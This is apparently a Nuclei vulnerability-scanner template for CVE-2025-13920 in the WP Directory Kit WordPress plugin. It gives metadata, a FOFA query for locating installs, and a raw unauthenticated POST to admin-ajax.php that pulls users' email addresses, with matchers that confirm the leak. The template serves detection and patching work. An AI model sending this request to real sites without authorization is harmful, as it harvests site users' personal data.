id: CVE-2025-13920

info:
  name: WP Directory Kit < 1.5.0 - Unauthenticated Email Exposure
  author: 0x_Akoko
  severity: medium
  description: |
    WP Directory Kit plugin for WordPress <= 1.4.9 contains a sensitive information exposure caused by improper access control in wdk_public_action AJAX handler, letting unauthenticated attackers extract email addresses of users with Directory Kit-specific roles.
  impact: |
    Unauthenticated attackers can extract email addresses of users with specific roles, leading to privacy breaches.
  remediation: |
    Update to the latest version beyond 1.4.9.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/8905dcc7-d3c8-4ae8-818c-df3e6ed2ad9c
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13920
    - https://wordpress.org/plugins/wpdirectorykit/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.2
    cve-id: CVE-2025-13920
    epss-score: 0.00976
    epss-percentile: 0.7694
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: wpdirectorykit
    product: wpdirectorykit
    fofa-query: body="/wp-content/plugins/wpdirectorykit/"
  tags: cve,cve2025,wordpress,wp-plugin,wpdirectorykit,exposure,unauth,vkev

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wdk_public_action&page=wdk_frontendajax&function=select_2_ajax&table=user_m&print_column=user_email&key_column=ID

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"success\":true", "\"text\"", "@")'
        condition: and
# digest: 4a0a00473045022100d13aa4fd0b9175dbcd2e015e28ba9765e486ecc3cdfd84df6a3c5ff976452f0302206fff8eeb2411ee28fc34fe955270c37f8e5aceafccf012be9d1ba62d534fd057:922c64590222798bb761d5b6d8e72950